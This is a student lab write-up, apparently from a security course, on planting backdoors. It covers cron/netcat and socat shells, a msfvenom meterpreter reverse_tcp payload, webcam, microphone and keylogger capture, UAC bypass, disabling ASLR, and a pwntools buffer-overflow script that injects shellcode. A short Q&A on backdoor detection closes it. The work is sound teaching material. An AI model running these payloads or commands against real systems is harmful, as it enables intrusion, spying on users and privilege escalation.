Exp2 后门原理与实践

实验过程

任务一:使用netcat获取主机操作Shell,cron启动

使用 crontab 设置每小时 39 分钟定定时运行指令在端口 5219 开启 /bin/sh 。这样我们监听这个端口就可以拿 shell 。

任务二:使用socat获取主机操作Shell, 任务计划启动

在定时计划中设置当用户锁定工作站时触发操作运行程序 socat ,同时设定好参数,这样我们链接参数设置的对应端口时就能拿 shell 。

任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

生成 backdoor.exe

使用 nc 和 ncat 传输 backdoor.exe 文件

通过 msf 工具和在 windows 上运行后门程序拿 shell

任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

用摄像头拍照

用麦克风录音

读取键盘记录

getshell

原来的洞没法对 win10 提权,生成一个新的后门,注意用 -a 指定架构。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.184.129 LPORT=5219 -a x64 -f exe > backdoor1.exe

跟靶机取得连接的步骤和之前一样,然后使用 background 查询 session 值,同时使用漏洞绕过用户账户控制。

可以看到我们已经成功拿shell。

可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

为了降低难度,我们可以先把 ASLR 关闭。在 root 权限下运行命令

echo 0 > /proc/sys/kernel/randomize_va_space

0 值代表不随机化,我们可以通过命令

sysctl -a --pattern randomize

查看 kernel.randomize_va_space 的值是否成功修改为 0 。
修改成功的情况下,多次 ldd 的地址应该是一样的。

这说明我们已经成功关闭 ASLR ,这样的话栈的地址是固定的,我们可以通过动态调试得悉 shellcode 在栈中的存储地址,接下来只要覆盖返回地址为 shellcode 的起始地址即可成功 getshell。
使用命令在 5219 端口开启 pwn1 服务。

nc -lvvp 5219 -e pwn1

同时我们编写 exp 脚本拿 shell。

from pwn import *

io = remote('192.168.1.41',5219)
context.binary = 'pwn1'

addr = 0xFFFFCF7C    #我们输入的起始地址
shellcode = asm(shellcraft.sh())    #生成对应架构的 shellcode
payload = 'a' * 32 + p32(0xFFFFCF7C+32+4) + shellcode    #覆盖返回地址为 shellcode 的地址

io.sendline(payload)
io.interactive()

可以看到我们已经成功 getshell

问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
答:通过引诱受害者下载恶意文件,通过操作系统漏洞或者服务漏洞提权并留下后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
答:通过伪装成 hook 函数在程序启动是调用。
(3)Meterpreter有哪些给你映像深刻的功能?
答:可以建立持久性后门。
(4)如何发现自己有系统有没有被安装后门
答:可以从注册表、自启动项、以及开启的端口等分析。

posted @ 2020-03-23 00:42  PwnKi  阅读(193)  评论(0编辑  收藏  举报